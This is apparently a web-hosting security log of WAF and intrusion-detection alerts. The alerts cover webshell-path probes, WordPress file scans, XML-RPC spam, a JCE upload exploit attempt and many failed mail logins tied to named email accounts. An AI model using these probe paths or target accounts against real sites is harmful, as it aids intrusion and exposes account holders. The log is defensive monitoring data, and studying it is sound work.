description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sriganapathyent.in.vrishenterprises.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.246.146
country_id: 2921044
domain: apkmetal.in:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/apkmetal.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.92.88
country_id: 2921044
domain: idealloanz.com.au:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.182.94
country_id: 2921044
domain: ogocindia.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.183.53
country_id: 2921044
domain: keralapeople.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.183.53
country_id: 2921044
domain: keralapeople.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com:80/website/wp-includes/wlwmanifest.xml HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.55.11
country_id: 2921044
domain: kallanigroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kallanigroup.com:80/wp-includes/wlwmanifest.xml HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.194.39.64
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/kallanigroup/public_html/wp-includes/SimplePie||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.226.175.50
country_id: 272103
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:77981.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fc8029736b84ada3b9cf039843459043d790e362||Title:0x7b66f9e2||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-07 17:30:43 dovecot_login authenticator failed for H=([119.196.213.196]) [125.23.204.74]:33130: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.184.36.54
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/yukticlick/public_html/wp-admin||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 133.206.114.128
country_id: 1861060
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:63875.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57bd3198901bc062ce9def6d2e7d86002d4c1808||Title:0xed491cfb||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.184.36.54
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/yukticlick/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-07 17:33:10 dovecot_login authenticator failed for H=([61.99.249.45]) [103.120.116.162]:58747: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.83.5.75
country_id: 3017382
description:
2026-07-07 17:33:21 dovecot_login authenticator failed for H=ns3155076.ip-51-83-5.eu (localhost.localdomain) [51.83.5.75]:31642: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.184.36.54
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/yukticlick/public_html/wp-includes||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.124
country_id: 1668284
description:
2026-07-07 17:34:06 dovecot_login authenticator failed for H=111-70-29-124.emome-ip.hinet.net ([36.135.103.30]) [111.70.29.124]:55874: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-07-07 17:33:45 dovecot_login authenticator failed for H=([103.30.112.214]) [101.13.4.128]:44682: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.180
country_id: 1733045
description:
2026-07-07 17:34:32 dovecot_login authenticator failed for H=([192.111.131.4]) [49.124.155.180]:41748: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-07 17:37:26 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([117.245.138.2]) [171.100.121.127]:51650: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-07 17:37:39 dovecot_login authenticator failed for H=([116.52.9.162]) [59.6.72.106]:26280: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 81.171.72.93
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:alnay||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.2.228.48
country_id: 597427
description:
2026-07-07 17:45:57 dovecot_login authenticator failed for H=static-185-2-228-48.cust.tele2.lt ([14.54.35.193]) [185.2.228.48]:54327: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-07 17:46:19 dovecot_login authenticator failed for H=([115.94.121.82]) [197.219.210.94]:48042: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-07 17:46:37 dovecot_login authenticator failed for H=([61.32.68.66]) [182.95.229.110]:45328: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 138.91.42.48
country_id: 1880251
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.115.237.19
country_id: 3923057
description:
2026-07-07 17:49:10 dovecot_login authenticator failed for H=(70-89-116.5-BusName-WA.hfc.comcastbusiness.net) [181.115.237.19]:52222: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: elegantautomotives.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/elegantautomotiv/public_html/index.php||User:elegantautomotiv||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-07 17:53:35 dovecot_login authenticator failed for H=([203.252.10.4]) [103.206.131.33]:57781: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-07 17:54:07 dovecot_login authenticator failed for H=([70.166.167.35]) [210.5.117.238]:59968: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 17:56:48 dovecot_login authenticator failed for H=(eTBEd28) [141.98.10.22]:53733: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 17:57:11 dovecot_login authenticator failed for H=(sLV11ovy) [141.98.10.22]:51708: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-07 17:57:29 dovecot_login authenticator failed for H=([36.249.60.142]) [92.62.74.41]:57123: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 17:57:58 dovecot_login authenticator failed for H=(Ayt8t5g) [141.98.10.22]:51609: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 141.98.10.22
country_id: 597427
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[141.98.10.22] [Authentication Database]=[mail] [Username]=[ahsbahrain] (5/5 failures) (blocked until [Tue Jul  7 12:43:20 2026 UTC/Tue Jul  7 18:13:20 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 17:59:09 dovecot_login authenticator failed for H=(DMDoNcr) [141.98.10.22]:58089: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 17:59:56 dovecot_login authenticator failed for H=(BWwDR1S) [141.98.10.22]:50672: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:01:06 dovecot_login authenticator failed for H=(F1Gd22) [141.98.10.22]:52217: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.41.162.106
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/fefkadirectors/public_html/index.php||User:fefkadirectors||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:01:53 dovecot_login authenticator failed for H=(CAC0ZF5) [141.98.10.22]:50735: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.214.96.183
country_id: 1269750
description:
2026-07-07 18:02:03 dovecot_login authenticator failed for H=([85.117.232.42]) [103.214.96.183]:41592: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:03:03 dovecot_login authenticator failed for H=(dHzKeLqo) [141.98.10.22]:57843: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-07 18:03:35 dovecot_login authenticator failed for H=(137.173.198.203.static.netvigator.com) [143.202.162.196]:44144: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:04:13 dovecot_login authenticator failed for H=(9Olf8bmy) [141.98.10.22]:53783: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:05:00 dovecot_login authenticator failed for H=(7QlIWYP) [141.98.10.22]:55455: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-07 18:05:18 dovecot_login authenticator failed for H=(abts-ap-dynamic-093.207.169.122.airtelbroadband.in) [210.118.224.138]:54797: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-07 18:05:38 dovecot_login authenticator failed for H=(164.67.158.103.ptr-cust.iforte.net.id) [136.35.246.152]:53128: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-07 18:05:56 dovecot_login authenticator failed for H=([222.104.76.94]) [122.186.249.6]:32952: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-07 18:06:03 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [128.185.208.42]:53026: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:06:10 dovecot_login authenticator failed for H=(oYYoNYRhh) [141.98.10.22]:61985: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-07-07 18:06:12 dovecot_login authenticator failed for H=([174.64.199.88]) [90.173.78.90]:54397: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.15.223.148
country_id: 3017382
description:
2026-07-07 18:06:29 dovecot_login authenticator failed for H=80-15-223-148.ftth.fr.orangecustomers.net (219-89-197-82.adsl.xtra.co.nz) [80.15.223.148]:34300: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:06:58 dovecot_login authenticator failed for H=(qO4kWCh) [141.98.10.22]:62121: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 141.98.10.22
country_id: 597427
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[141.98.10.22] [Authentication Database]=[mail] [Username]=[ahsbahrain] (30/30 failures) (blocked until [Wed Jul  8 12:38:06 2026 UTC/Wed Jul  8 18:08:06 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:08:08 dovecot_login authenticator failed for H=(7RpoBHte) [141.98.10.22]:60689: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-07 18:09:51 dovecot_login authenticator failed for H=([70.166.167.37]) [182.95.176.122]:47010: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:08:55 dovecot_login authenticator failed for H=(0k9scr) [141.98.10.22]:58701: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:10:06 dovecot_login authenticator failed for H=(OKBWDi46jN) [141.98.10.22]:53043: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-07 18:10:07 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (163.29.25.31.convex-tagil.ru) [24.207.66.154]:34950: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:10:53 dovecot_login authenticator failed for H=(9ASEAy8) [141.98.10.22]:53792: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:12:03 dovecot_login authenticator failed for H=(6sF2okEuS1) [141.98.10.22]:54034: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:13:14 dovecot_login authenticator failed for H=(sphS7Pkf) [141.98.10.22]:55818: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||User:globalgroupoman||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:14:01 dovecot_login authenticator failed for H=(rTNqi6) [141.98.10.22]:64728: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-07 18:15:46 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au (abts-west-static-211.232.201.106.airtelbroadband.in) [139.216.6.17]:34623: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:15:13 dovecot_login authenticator failed for H=(iUjYKanO) [141.98.10.22]:61230: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-07 18:15:32 dovecot_login authenticator failed for H=([174.75.211.195]) [41.128.181.196]:57916: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:16:00 dovecot_login authenticator failed for H=(id0gZDZ6I) [141.98.10.22]:59420: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 186.179.63.69
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:18-16.186.179.63.69||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:17:11 dovecot_login authenticator failed for H=(Glrp2O4) [141.98.10.22]:56948: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:17:57 dovecot_login authenticator failed for H=(vK19x5wiL) [141.98.10.22]:49960: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-07 18:18:20 dovecot_login authenticator failed for H=(197.155.225.93.liquidtelecom.net) [103.250.160.76]:60272: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 111.221.44.115
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceds3bn2ro.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-07 18:18:35 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([188.168.86.6]) [111.70.23.252]:44129: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-07 18:18:33 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com (red.138.118.213.068.ssservicios.com.ar) [31.208.108.219]:47782: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:19:08 dovecot_login authenticator failed for H=(1bWdItbW) [141.98.10.22]:61205: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.181
country_id: 1733045
description:
2026-07-07 18:19:05 dovecot_login authenticator failed for H=([49.125.201.1]) [183.171.49.181]:57808: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:19:55 dovecot_login authenticator failed for H=(hBj9eORKKi) [141.98.10.22]:50966: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:21:05 dovecot_login authenticator failed for H=(SCFTpz9bN) [141.98.10.22]:61216: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:22:16 dovecot_login authenticator failed for H=(usCwgV) [141.98.10.22]:59185: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:23:03 dovecot_login authenticator failed for H=(yN5RMMEyS) [141.98.10.22]:57392: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:24:13 dovecot_login authenticator failed for H=(ni9XpRY9) [141.98.10.22]:63209: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:25:00 dovecot_login authenticator failed for H=(zDlSwNGWC) [141.98.10.22]:64112: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-07 18:25:45 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([192.111.143.93]) [81.236.211.54]:35338: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:26:10 dovecot_login authenticator failed for H=(g5dpwx) [141.98.10.22]:50956: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:26:57 dovecot_login authenticator failed for H=(Ngo3YmuU) [141.98.10.22]:56843: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 67.185.156.45
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95311.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:823583907c64dc23e68933d87e54b08785c9cf1e||Title:0x7516236b||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:28:08 dovecot_login authenticator failed for H=(hBhcM8) [141.98.10.22]:56168: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:28:55 dovecot_login authenticator failed for H=(7jknse2mea) [141.98.10.22]:49665: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.227.219
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 67.185.156.45
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:54001.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d443afe9b90f3a2bfe88c4455470ae896d25755d||Title:0xeca187d3||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.32.154
country_id: 1819730
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/update_with_pics.php||SC:/var/www/html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:30:05 dovecot_login authenticator failed for H=(zlauE4y) [141.98.10.22]:57441: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:31:16 dovecot_login authenticator failed for H=(fC058tb) [141.98.10.22]:52223: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.52.135.15
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:32:03 dovecot_login authenticator failed for H=(C6nwHcvSsH) [141.98.10.22]:64321: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.22
country_id: 597427
description:
2026-07-07 18:33:13 dovecot_login authenticator failed for H=(ShRpoo) [141.98.10.22]:61064: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: jaashsupplies.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/jaashsupplies/public_html/index.php||User:jaashsupplies||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.71.170
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: kallanigroup.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/kallanigroup/public_html/index.php||User:kallanigroup||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
